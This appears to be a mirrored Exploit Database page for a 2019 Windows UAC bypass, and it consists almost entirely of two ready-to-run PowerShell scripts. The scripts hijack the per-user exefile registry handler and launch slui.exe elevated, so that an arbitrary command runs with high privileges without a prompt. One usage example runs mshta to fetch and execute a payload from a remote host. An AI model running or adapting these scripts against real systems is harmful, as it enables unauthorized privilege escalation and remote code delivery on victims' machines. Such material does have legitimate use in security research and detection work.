Microsoft Windows – UAC Protection Bypass (Via Slui File Handler Hijack) (PowerShell)

• Exploit Database
• 90 阅读

• 作者： Gushmazuko
  日期： 2019-06-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46998/

• Interactive Version:
  
  <#
  .SYNOPSIS
  	This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
  .NOTES
  	Function : SluiHijackBypass
  	File Name: SluiHijackBypass.ps1
  	Author : Gushmazuko
  .LINK
  	https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1
  	Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
  .EXAMPLE
  	Load "cmd.exe" (By Default used 'arch 64'):
  	SluiHijackBypass -command "cmd.exe" -arch 64
  
  	Load "mshta http://192.168.0.30:4444/0HUGN"
  	SluiHijackBypass -command "mshta http://192.168.0.30:4444/0HUGN"
  #>
  
  function SluiHijackBypass(){
  	Param (
  
  		[Parameter(Mandatory=$True)]
  		[String]$command,
  		[ValidateSet(64,86)]
  		[int]$arch = 64
  	)
  
  	#Create registry structure
  	New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
  	Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $command -Force
  
  	#Perform the bypass
  	switch($arch)
  	{
  		64
  		{
  			#x64 shell in Windows x64 | x86 shell in Windows x86
  			Start-Process "C:\Windows\System32\slui.exe" -Verb runas
  		}
  		86
  		{
  			#x86 shell in Windows x64
  			C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\System32\slui.exe -Verb runas"
  		}
  	}
  
  	#Remove registry structure
  	Start-Sleep 3
  	Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
  }
  
  
  ################################################################################
  
  
  Non-Interactive Version:
  
  <#
  .SYNOPSIS
  Noninteractive version of script, for directly execute.
  This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE
  .NOTES
  	File Name: SluiHijackBypass_direct.ps1
  	Author : Gushmazuko
  .LINK
  	https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass_direct.ps1
  	Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation
  .EXAMPLE
  	Load "cmd.exe" (By Default used 'arch 64'):
  	powershell -exec bypass .\SluiHijackBypass_direct.ps1
  #>
  
  $program = "cmd.exe"
  New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force
  Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $program -Force
  #For x64 shell in Windows x64:
  Start-Process "C:\Windows\System32\slui.exe" -Verb runas
  #For x86 shell in Windows x64:
  #C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process "C:\Windows\System32\slui.exe" -Verb runas"
  Start-Sleep 3
  Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
  

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